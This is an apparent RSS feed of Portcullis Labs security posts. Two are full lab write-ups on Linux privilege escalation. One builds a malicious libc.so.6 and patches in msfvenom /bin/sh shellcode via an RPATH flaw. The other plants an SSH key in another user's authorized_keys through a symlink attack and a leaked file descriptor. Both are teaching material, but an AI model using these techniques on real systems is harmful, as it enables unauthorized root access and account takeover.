Portcullis Labs » exploit https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 An offensive introduction to Active Directory on UNIX https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/ https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/#comments Thu, 06 Dec 2018 09:18:36 +0000 https://labs.portcullis.co.uk/?p=6805 By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests. Background to Active Directory integration […]

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests.

Background to Active Directory integration solutions

Having seen an uptick in unique UNIX infrastructures that are integrated into customers’ existing Active Directory forests, the question becomes, “Does this present any concerns that may not be well understood?” This quickly became “What if an adversary could get into a UNIX box and then breach your domain?”
Within a typical Active Directory integration solution (in this case SSSD), the solution shares a striking similarity to what a user might see on Windows. Notably, you have:

  • DNS – Used for name resolution
  • LDAP – Used for “one-time identification” and assertion of identity
  • Kerberos – Used for ongoing authentication
  • SSSD – Like LSASS
  • PAM – Like msgina.dll or the more modern credential providers

You can see a breakdown of this process here. Unlike Windows, there is no Group Policy for the most part (with some exceptions), so policies for sudo et al. are typically pushed as flat files to hosts.

Our research

Realistically, the threat models associated with each part of the implementation should be quite familiar to anyone securing a heterogeneous Windows network. Having worked with a variety of customers, it becomes apparent that the typical UNIX administrator who does not have a strong background in Windows and Active Directory will be ill-equipped to handle this threat. While we’ve been talking about successful attacks against components such as LSASS and Kerberos for quite some time, Mimikatz dates back to at least April 2014, and dumping hashes has been around even longer. Pwdump, which dumped local Windows hashes, was published by Jeremy Allison in 1997). However, no one has really taken a concerted look at whether these attacks are possible on UNIX infrastructure, nor how a blue team might spot an adversary performing them.

As a result of this research, we were able to develop tactics, tools, and procedures that might further assist an attacker in breaching an enterprise, and we began documenting and developing appropriate strategies to allow blue teams to appropriately detect and respond to such incursions. The Black Hat EU slides can be found here and whilst the tools we developed can be found on our GitHub repo.

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/feed/ 0
Where 2 worlds collide: Bringing Mimikatz et al to UNIX https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/ https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/#comments Thu, 06 Dec 2018 08:04:06 +0000 https://labs.portcullis.co.uk/?p=6806 Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018). Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may […]

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018).

Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may not be as well understood by a typical UNIX admin who does not have a strong background in Windows and AD. Over the last few months we’ve spent some time looking a number of specific Active Directory integration solutions (both open and closed source) for UNIX systems and documenting some of the tools, tactics and procedures that enable attacks on the forest to be staged from UNIX.

This talk describes the technical details regarding our findings. It includes Proof of Concepts (PoC) showing real-world attacks against AD joined UNIX systems. Finally, potential solutions or mitigation controls are discussed that will help to either prevent those attacks or at the very least to detect them when they occur.

Tools referenced in this talk include:

Eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX
724.9 KiB
MD5 hash: cc712c5e46b16fbff22a2566b1248a91
Details

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/feed/ 0
SetUID program exploitation: Crafting shared object files without a compiler https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/ https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/#comments Wed, 31 Oct 2018 12:18:59 +0000 https://labs.portcullis.co.uk/?p=6581 In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post […]

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post on setUID exploitation.

A hacker challenge gone wrong

A long time ago, I set my team challenge of identifying an RPATH vulnerability and (if possible) exploiting the vulnerability to run some code of their choosing with higher privileges. I named my program arp-ath – lest people wasted too much time looking for other attack vectors:

$ cat arp-ath.c
#include <stdio.h>
int main(void) {
 printf("Hello world\n");
}
$ gcc -Wl,-rpath,. -o arp-ath arp-ath.c
# chmod 4755 arp-ath

The program behaves as you’d expect and is linked to libc.so.6 as you’d expect:

$ ./arp-ath
Hello world
$ ldd arp-ath
 linux-vdso.so.1 => (0x00007fff0a3fd000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb6dc0d6000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fb6dc489000)

The vulnerability lies in the fact the program seaches the current directory for its libraries:

$ readelf -a arp-ath | grep -i path
0x000000000000000f (RPATH) Library rpath: [.]

(You’ll sometimes see RUNPATH instead of RPATH, but both work). Check it’s vulnerable like this:

$ touch libc.so.6
$ ./arp-ath
./arp-ath: error while loading shared libraries: ./libc.so.6: file too short

This challenge is very similar to Level 15 of the Nebula challenge if you want to play along using that – though it’s 32-bit.

The team found the “arp-ath” vulnerability pretty quickly and replied to let me know. Which you’d expect as it is their job to find such vulnerabilities on client systems during Build Reviews.

What I hadn’t personally anticipated is what a pain it is to create a malicious modified version of libc.so.6 on 64-bit Linux. So rather than face the embarrassment of having posted a challenge that I didn’t actually have a full solution for, I cobbled together the shellcode-based solution outlined above. First let’s have a look at the difficulties I had in creating my own libc.so.6.

Problems compiling a replacement libc.so.6 on 64-bit Linux

I lost my original notes of what I’d tried, but I’m pretty sure that I and my colleagues followed a similar path to this solution to the Nebula level 15 challenge - which has a really nice writeup of how to debug shared libraries that don’t want to work.

Here’s an initial attempt, which should cause a shell to spawn when the library is loaded (note I could also have replaced the “puts” function).

$ cat exploit1.c
#include <stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -o libc.so.6 exploit1.c
$ ldd ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
linux-vdso.so.1 (0x00007ffeea77d000)
libc.so.6 => ./libc.so.6 (0x00007f50430f9000)
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
./arp-ath: relocation error: ./libc.so.6: symbol __cxa_finalize, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

So, let’s address those errors about lack of version numbers and failure to export __cxa_finalize (after much googling)…

$ cat version
GLIBC_2.2.5{};
$ cat exploit2.c
#include <stdlib.h>

void __cxa_finalize (void *d) {
 return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -Wl,--version-script=version -o libc.so.6 exploit2.c
$ ./arp-ath
./arp-ath: relocation error: ./libc.so.6: symbol system, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

Hmm. More errors.

Cutting short a very long sequence of trial and error, when we eventually try to replicate the solution to the Nubula level 15 challenge on 64-bit, we find that it only seems to work for 32-bit:

gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 exploit2.c
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(system.o): relocation R_X86_64_32 against `.bss' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sysdep.o): relocation R_X86_64_TPOFF32 against symbol `errno' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sigaction.o): relocation R_X86_64_32S against `.text' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: final link failed: Nonrepresentable section on output
collect2: error: ld returned 1 exit status

If I understood my googling correctly, I need a version of libc that’s been compiled with -fPIC, but that’s not possible for some reason I didn’t understand.

I did consider grabbing the source for libc and recompiling it after a modification, but decided life was too short. I had a better (or at least quicker) idea…

So just use metasploit, then?

I had a quick go at generating a shared object file with msfvenom:

msfvenom -a x64 -f elf-so -p linux/x64/exec CMD=/bin/sh AppendExit=true > libc.so.6
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: symbol lookup error: ./arp-ath: undefined symbol: __libc_start_main, version GLIBC_2.2.5

This was awfully familiar. I didn’t grapple much more with msfvenom after this.

Patching shellcode into a copy of libc.so.6

I figured I could open up a copy of libc.so.6 in a hex editor and paste in some shellcode over the top of __libc_start_main function. No matter how horribly I corrupted the file or how badly it crashed after it executed my shellcode, at least I’d have my shell.

I grabbed some shellcode off the internet – but equally could have generated in it Metasploit like this (I also appended a call to exit to stop the inevitable crash I mentioned):

$ msfvenom -a x64 -f hex -p linux/x64/exec CMD=/bin/sh AppendExit=true
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 55 bytes
Final size of hex file: 110 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e8080000002f62696e2f73680056574889e60f054831ff6a3c580f05

Then I made a copy of libc.so.6 and located the file offset for the __libc_start_main function:

$ cp /lib/x86_64-linux-gnu/libc.so.6 .
$ objdump -FD libc.so.6 | grep _main
00000000000201f0 <__libc_start_main@@GLIBC_2.2.5> (File Offset: 0x201f0):
...

Using a hexeditor I pasted in the shellcode.

</span>
<pre>$ hexedit libc.so.6
Use CTRL-G to seek to the offset in the file
image-6582

Use CTRL-G to seek to the offset in the file

(CTRL-G to go to an offset (0x201f0); paste in our shellcode; F2 to save; CTRL-C to quit.)

Shellcode pasted over existing code
image-6583

Shellcode pasted over existing code

$ ./arp-ath
# id
uid=1000(x) gid=1000(x) euid=0(root) groups=1000(x)

Finally! :-)

And this works on AIX too?

I tried to get this working on AIX – which typically doesn’t have a C compiler available; AND typically has loads of RPATH vulnerabilities. However, the shellcode I tried was self-modifying. This is fine when you’re injecting shellcode as data, but the code section I was injecting into was read-only. So I got a segfault. I’ll follow up if get this working.

Conclusion

The quick and dirty solution, while inevitably unsatisfactory is sometimes sufficient. Especially given the lack of tools, source, time you might have when exploiting this sort of vulnerabilities. Maybe it’s not a terrible solution. You be the judge.

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/feed/ 0
Playback: A TLS 1.3 story https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/ https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/#comments Mon, 13 Aug 2018 06:28:32 +0000 https://labs.portcullis.co.uk/?p=6781 Presentation on 0-RTT in TLS 1.3 (as given at DEF CON 26 and Black Hat 2018). TLS 1.3 is the new secure communication protocol that should be already with us. One of its new features is 0-RTT (Zero Round Trip Time Resumption) that could potentially allow replay attacks. This is a known issue acknowledged by […]

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
Presentation on 0-RTT in TLS 1.3 (as given at DEF CON 26 and Black Hat 2018).

TLS 1.3 is the new secure communication protocol that should be already with us. One of its new features is 0-RTT (Zero Round Trip Time Resumption) that could potentially allow replay attacks. This is a known issue acknowledged by the TLS 1.3 specification, as the protocol does not provide replay protections for 0-RTT data, but proposed countermeasures that would need to be implemented on other layers, not at the protocol level. Therefore, the applications deployed with TLS 1.3 support could end up exposed to replay attacks depending on the implementation of those protections.

This talk will describe the technical details regarding the TLS 1.3 0-RTT feature and its associated risks. It will include Proof of Concepts (PoC) showing real-world replay attacks against TLS 1.3 libraries and browsers. Finally, potential solutions or mitigation controls would be discussed that will help to prevent those attacks when deploying software using a library with TLS 1.3 support.

Tools referenced in this talk include:

Us-18-GarciaAlguacil MurilloMoya-Playback A TLS 1.3 Story  V6
2.6 MiB
MD5 hash: c56f49adfbda571c9c32f5860d6f9319
Details

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/feed/ 0
Exploiting inherited file handles in setUID programs https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/ https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/#comments Thu, 28 Jun 2018 16:00:40 +0000 https://labs.portcullis.co.uk/?p=6538 In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is […]

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is what we’ll look at in the context of setUID programs on Linux.

I was reminded of this technique as I tackled an old hacker challenge recently. This a fun challenge. And there’s a much easier solution than using the technique I’m going to cover here. Maybe try both the hard way and the easy way.

Example program

Here’s a fairly minimal test case of example code – inspired by the nebula challenge code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 char *cmd = argv[1];
 char tmpfilepath[] = "/tmp/tmpfile";  // Modern systems need "sysctl fs.protected_symlinks=0" or "chmod 0777 /tmp" for this to be vulnerable to the symlink attack we'll use later.
 char data[] = "pointless data\n";

int fd = open(tmpfilepath, O_CREAT|O_RDWR, 0600);
 unlink(tmpfilepath);
 write(fd, data, strlen(data));
 setuid(getuid());
 system(cmd);
}

Let’s start by compiling this and setting the setUID bit so we have an example to work with:

root@challenge:/# useradd -m tom # victim/target user
root@challenge:/# useradd -m bob # attacker
root@challenge:/# cd ~bob
root@challenge:/home/bob# cp /share/fd-leak.c .
root@challenge:/home/bob# gcc -o fd-leak fd-leak.c
root@challenge:/home/bob# chown tom:tom fd-leak
root@challenge:/home/bob# chmod 4755 fd-leak
root@challenge:/home/bob# ls -l fd-leak
-rwsr-xr-x 1 root root 8624 Apr 12 11:06 fd-leak
root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

For exploitation later, we’ll also need the target user (tom in this case) to have a .ssh directory in their home directory:

root@challenge:/# mkdir ~tom/.ssh; chown tom:tom ~tom/.ssh

What this program lacks in realism is hopefully made up for in its simplicity.

Normal operation

As can be seen from the code above, the program should:

  1. Create the file /tmp/tmpfile, then delete it. A file descriptor is retained
  2. Drop privileges. This is poor code for dropping privileges, btw. It suffices for this example, though
  3. Run a command that is supplied as an argument. It should run as the invoking user, not as the target user (tom)

Let’s try it out (note that I modify .bashrc to make it clearer to the reader when a subshell has been spawned):

root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo 'echo subshell...' > .bashrc
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ./fd-leak bash -p
subshell...
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
root@challenge:/home/bob# useradd -m tom
root@challenge:/home/bob# su - tom
$ mkdir .ssh
$ ls -la
total 28
drwxr-xr-x 3 tom tom 4096 Apr 12 11:42 .
drwxr-xr-x 2 tom tom 4096 Apr 12 11:42 .ssh
...

So, yes fd-leak appears to drop privileges. (Our spawned shell isn’t responsible for the drop in privileges as I’ve hopefully illustrated by passing -p to bash above and by running id directly).

Finally, we expect the child process to inherit a file handle to the now deleted file /tmp/tmpfile:

bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 11:22 0 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 1 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 2 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 3 -> '/tmp/tmpfile (deleted)'
lr-x------ 1 bob bob 64 Apr 12 11:22 4 -> /proc/53982/fd

It does. We’re all set.

High level exploit path

Our approach to attacking this vulnerable program will follow these high level steps which are covered in more detail in the sections below:

  1. Create a symlink that the vulnerable code will try to write to. This way we can create a file in a location of our choosing and with a name we choose. We’ll choose ~tom/.ssh/authorized_keys
  2. We’ll run some code in the context of a child process to manipulate the open file handle so we can write the contents of authorized_keys file
  3. Finally, we log with via SSH

Practical exploitation

Step 1: Symlink attack

Simple:

ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

This step was harder in the nebula challenge, but I didn’t want to cloud the issue.

If we run the code now, we see that the authorized_keys file is created, but we don’t control the contents.

bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys
bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
ln: failed to create symbolic link '/tmp/tmpfile': File exists
bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:11 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys

We also don’t control the permissions the file gets created with. (Feel free to try the above on authorized_keys2 after running “umask 0″ to check).

Step 2: Running code in child process

It’s pretty easy to run code because of the nature of the program. Again, this was harder in the nebula challenge. We can see the file handle we want listed in /proc/self/fd. It’s file descriptor 3:

bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:25 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak bash
subshell...
bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 12:26 0 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 1 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 2 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 3 -> /home/tom/.ssh/authorized_keys
lr-x------ 1 bob bob 64 Apr 12 12:26 4 -> /proc/54947/fd

So we can just “echo key > /proc/self/fd/3″? Not really. That’s just a symlink. A symlink to a file that doesn’t exist to be precise. And it’s pointing to a location that we’d don’t have privileges to create. Let’s confirm that:

bob@challenge:~$ ls -l /home/tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:25 /home/tom/.ssh/authorized_keys
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo > /home/tom/.ssh/authorized_keys
bash: /home/tom/.ssh/authorized_keys: Permission denied
bob@challenge:~$ echo > /tmp/tmpfile
bash: /tmp/tmpfile: Permission denied
bob@challenge:~$ echo > /proc/self/fd/3
bash: /proc/self/fd/3: Permission denied

We need to write to file descriptor 3… So is there are version of cat that works with file descriptors? Not that I know of. Let’s write some small utilities that will help us get to grips with accessing inherited file handles. We’ll write 3 tools:

  • read – that uses the read function to read a set number of bytes from a particular file descriptor
  • write – that writes a string of our choosing to a particular file descriptor
  • lseek – that lets us position our read/write

Here’s the source and compilation of the (very crude) demo tools:

bob@challenge:~$ cat read.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 char buf[1024];
 memset(buf, 0, 1024);
 int r = read(atoi(argv[1]), buf, 10);
 printf("Read %d bytes\n", r);
 write(1, buf, 10);
}

bob@challenge:~$ gcc -o read read.c
bob@challenge:~$ cat write.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("writing %s to fd %s\n", argv[2], argv[1]);
 write(atoi(argv[1]), argv[2], strlen(argv[2]));
}
bob@challenge:~$ gcc -o write write.c
bob@challenge:~$ cat lseek.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("seek to position %s on fd %s\n", argv[2], argv[1]);
 lseek(atoi(argv[1]), atoi(argv[2]), SEEK_SET);
}

bob@challenge:~$ gcc -o lseek lseek.c

Let’s see the tools in action. First we try to read, then write to file descriptor 3, but the read always returns 0 bytes:

bob@challenge:~$ ./read 3
Read 0 bytes
bob@challenge:~$ ./write 3 hello
writing hello to fd 3
bob@challenge:~$ ./read 3
Read 0 bytes

The reason is that we need to seek to a location in the file that isn’t the end of the file. Let’s seek to position 0, the beginning of the file:

bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./read 3
Read 10 bytes
pointless bob@challenge:~$ ./read 3
Read 10 bytes
data
hellobob@challenge:~$ ./read 3
Read 0 bytes

Much better.

Finally we need exploit the program above. We have two choices:

  • Run a shell as before, then use our new tool to write the key to authorized_keys; or
  • Make a new tool using the functions shown above to write to authorized_keys.

Let’s do the former. The latter is an exercise for the reader. Note that we need to seek to position 0 before we write our data. It’s important to overwrite the “pointless” message already there as that corrupts the authorized_keys file:

bob@challenge:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bob/.ssh/id_rsa): bobkey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bobkey.
Your public key has been saved in bobkey.pub.
bob@challenge:~$ cat bobkey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge
bob@challenge:~$ ls -l bobkey.pub
-rw-r--r-- 1 bob bob 387 Apr 12 12:30 bobkey.pub
bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./write 3 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge'
 writing ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge to fd 3

Step 3: Logging in via SSH

bob@challenge:~$ ssh -i bobkey tom@localhost
$ id
uid=1002(tom) gid=1002(tom) groups=1002(tom)

We’re done. We exploited the leaked file descriptor to write data of our choosing to tom’s authorized_keys file. We used a slightly unrealistic symlink attack along the way, but that doesn’t invalidate our discussion of how to use and abuse leaked file descriptors.

Conclusion

Hacker challenges are fun. Even when you accidentally find a much harder solution and waste 10 times longer than necessary.

Writing secure setUID programs can be difficult. Particularly if you spawn child processes; particularly if you use open() in directories writable by other users. fs.protected_symlinks provides some mitigation for directories with the sticky bit set.

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/feed/ 0
padmin to root: Roles on AIX https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/ https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/#comments Fri, 02 Oct 2015 14:47:26 +0000 https://labs.portcullis.co.uk/?p=5255 Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard. […]

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard.

Let’s start by defining what VIOS is. VIOS is a subsystem that runs on a logical partition (LPAR) which manages shared hardware such as disks and network adaptors and allows other LPARs to access them. VIOS is managed via a special padmin account which gives access to a restricted shell from where the hardware can be managed. In practice, however it’s just another AIX LPAR and as the blog post from IBM notes, setup_oem_env can be used to move from the padmin user to the root user.

Firstly, note that setup_oem_env is not setUID. So how does it work? Examining the padmin user we see that it has a single role (PAdmin):

The membership of a role is determined by /etc/security/user but we can examine a specific use using the rolelist command like so:

$ rolelist -u padmin
PAdmin

You can also find your current active role using the -e flag to rolelist. Moving on, what does the PAdmin role mean?

Roles are defined in /etc/security/role but as with role membership, we can also use shell commands to enumerate them. For example, the following shows what authorisations the PAdmin role has:

$ lsrole PAdmin
PAdmin
authorizations=vios.device,vios.fs,vios.install,vios.lvm,vios.network,vios.security,vios.system,vios.oemsetupenv,vios.system.cluster,aix.system.config.artex
rolelist= groups=staff visibility=1 screens=* dfltmsg= msgcat= auth_mode=INVOKER
id=23

In the context of getting root, vios.oemsetupenv is the charm. This and other AIX authorisations are defined in /etc/security/privcmds. It is possible to specify what commands the possessor of the vios.oemsetupenv authorisation can run (and indeed the privileges with which those commands will ultimately be executed).

You see, AIX like Solaris, is gradually getting rid of the concept that uid=0 is god. IBM haven’t taken this as far as Oracle yet but there’s nothing to stop a dedicated administrator from leveraging this functionality. So, if you’re auditing an AIX box, I would very much recommend checking what roles users have (via /etc/security/user) to ensure that no appropriate roles have been assigned.

PS I’ve never seen this used in practice (outside of VIOS), but I’m sure there will be a first time.
PPS rolelist -p will tell you what roles a given process has.
PPPS esaadmin has the SysConfig role but it’s not normally an active account.

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/feed/ 0
CVE-2015-5119 Flash ByteArray UaF: A beginner’s walkthrough https://labs.portcullis.co.uk/blog/cve-2015-5119-flash-bytearray-uaf-a-beginners-walkthrough/ https://labs.portcullis.co.uk/blog/cve-2015-5119-flash-bytearray-uaf-a-beginners-walkthrough/#comments Thu, 24 Sep 2015 14:26:26 +0000 https://labs.portcullis.co.uk/?p=5270 This document is a written form of a workshop and presentation I gave at Portcullis Labs in late July 2015. It is a beginner’s walkthrough to understand the recent Flash bug that was discovered in Hacking Team’s pocket and given the sweet name of CVE-2015-5119. It was found and exploited by Vitaliy Toropov. Disclaimer: If […]

The post CVE-2015-5119 Flash ByteArray UaF: A beginner’s walkthrough appeared first on Portcullis Labs.

]]>
This document is a written form of a workshop and presentation I gave at Portcullis Labs in late July 2015. It is a beginner’s walkthrough to understand the recent Flash bug that was discovered in Hacking Team’s pocket and given the sweet name of CVE-2015-5119. It was found and exploited by Vitaliy Toropov.

Disclaimer: If you are already a confirmed reverse engineer xor a debugging ninja, this document is not for you, go hack something else :-).

